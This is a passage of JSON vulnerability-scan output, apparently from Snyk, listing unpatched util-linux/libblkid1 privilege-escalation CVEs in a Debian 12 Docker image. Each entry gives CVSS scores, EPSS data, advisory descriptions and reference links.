[https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"e2fsprogs/e2fsprogs@1.47.0-2+b2",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"e2fsprogs/e2fsprogs@1.47.0-2+b2",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
